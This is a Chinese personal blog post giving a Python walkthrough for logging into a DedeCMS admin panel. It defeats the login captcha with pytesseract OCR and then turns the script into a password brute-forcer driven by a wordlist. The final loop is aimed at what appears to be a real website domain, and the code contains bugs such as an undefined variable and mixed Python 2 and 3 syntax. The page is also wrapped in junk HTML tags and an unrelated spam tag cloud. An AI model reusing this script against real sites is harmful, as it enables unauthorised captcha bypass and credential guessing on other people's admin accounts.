<cite id="1lwsx"><noscript id="1lwsx"><samp id="1lwsx"></samp></noscript></cite>
<cite id="1lwsx"></cite>

  • <b id="1lwsx"></b>
    <rp id="1lwsx"><meter id="1lwsx"><p id="1lwsx"></p></meter></rp>

      1. <cite id="1lwsx"><span id="1lwsx"><var id="1lwsx"></var></span></cite>

      2. <rt id="1lwsx"></rt>

        <b id="1lwsx"></b>

      3. <rp id="1lwsx"><meter id="1lwsx"></meter></rp>

        D丶個人博客



        python3 遠程登錄帶驗證碼-python3 遠程登錄帶驗證碼 | D丶個人博客

        python3 遠程登錄帶驗證碼

        python3 遠程登錄帶驗證碼



        第一步用burpsuite 或者fiddler 等抓包看 post提交的數據,方便設置 post 的data 包

        20180525123021388.png

        然后設置 header 和 data

        url = 'http://xxxxxxxx/login.php'
        s = requests.session()
        data = {
        	'dopost':'login',
        	'adminstyle':'newdedecms',
        	'userid':'root',
        	'pwd':'password',
        	'validate':'vali'
        }
        header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
        html = s.post(url, data=data, headers=header)
        print(html.text)

        第二步:把頁面驗證碼保存起來,以便于用pytesseract識別驗證碼(PHP文件后綴可直接保持session的情況下訪問php文件返回的html就是當前需要提交的圖片

        s = requests.session()
        urlCode = "http:/XXXXXXXXX/include/vdimgck.php"
        resp = s.get(urlCode)
        f = open("./img.jpg","wb")
        f.write(resp.content)   
        f.close()

        第三步:識別驗證碼 (需要安裝 pillow、pytesseract、tesseract-ocr

        im=Image.open('img.jpg')        
        #imgry = im.convert('L')        #轉化為灰色  (中間的注釋操作可神略,是將圖片更容易識別,還需要其他操作)
        # threshold = 140		#將圖片二極化
        # table = []
        # for i in range(256):
        #     if i < threshold:
        #         table.append(0)
        #     else:
        #         table.append(1)
        # out = imgry.point(table, '1')
        pytesseract.image_to_string(im)

        第四步:把各步簡單整合,返回登錄成功的頁面

        import pytesseract
        from PIL import Image
        import requests
         
         
        def vidnum(url,s):
        	res = s.get(url) 	 		#加載驗證碼頁面
        	f = open("./img.jpg","wb")
        	f.write(res.content)   			#保存驗證碼數圖片
        	f.close()
         
        	im=Image.open('img.jpg')  	
        	# imgry = im.convert('L')         #轉化為灰色 (中間的注釋操作可神略,是將圖片更容易識別,還需要其他操作)
        	# threshold = 140				#將圖片二極化
        	# table = []
        	# for i in range(256):
        	# 	if i < threshold:
        	# 		table.append(0)
        	# 	else:
        	# 		table.append(1)
        	# im = imgry.point(table, '1')
         
         
        	vidnum = pytesseract.image_to_string(im) #返回的驗證碼
        	return vidnum.replace(' ','')		#去除空格
         
         
        def main(url):
        	loginurl = url + '/login.php'
        	s = requests.session()
        	vakudate = vidnum(url +"/vdimgck.php",s);
        	data = {
        		'dopost':'login',
        		'adminstyle':'newdedecms',
        		'userid':'admin',
        		'pwd':'admin',
        		'validate': vakudate
        	}
        	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
        	s.post(loginurl, data=data, headers=header)    #帶數據訪問
         
        	html = s.post(url).text   #返回登錄成功的頁面
        	return  html
        	
         
        aa = main('http://www.xxxxxxxxx.cn')
        print(aa)

        第五步:小改下main 函數,就可以 爆破密碼 (利用密碼集文本,或者自己寫生成器)

        def main(url,pwd):
        	loginurl = url + 'dede/login.php'
        	s = requests.session()
        	vakudate = vidnum(url +"include/vdimgck.php",s);
        	data = {
        		'dopost':'login',
        		'adminstyle':'newdedecms',
        		'userid':'admin',
        		'pwd':pwd,
        		'validate': vakudate
        	}
        	header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
        	s.post(loginurl, data=data, headers=header)			#帶數據訪問
         
        	if (s.post(url).text == '登錄成功頁面'):			#判斷是否登錄成功,每個網站不用,或用其他判斷
        		return  pwd
        	else:
        		return 
         
        file = open('passwork.txt','r+');	#加載密碼集
        for x in open('passwork.txt'):
        	passwork =file.readline();
        	pwd = passwork.strip()
         
        	true_pass = main('http://www.www.qiaotanbeng.cn/',pwd)  
        	if result is not None:
        		print true_pass;   #輸出真實密碼


        總結:運用 requests 庫 去模擬訪問 ,使用 pillow、pytesseract、tesseract-ocr 庫 識別驗證碼(雖然成功率不是很高,但是簡單),可以模擬登錄,獲取cookie  ,還可以簡單爆破密碼,小小的一次python經驗記載



        評論


        About ME

        about me

        程序猿

        熱愛生活的程序猿 ,QQ:519395243

        山高自有客行路,水深自有渡船人?!段饔斡洝?/p>

        Contact ME

        QQ:519395243

        TAG cloud

        亚洲 美腿 另类 丝袜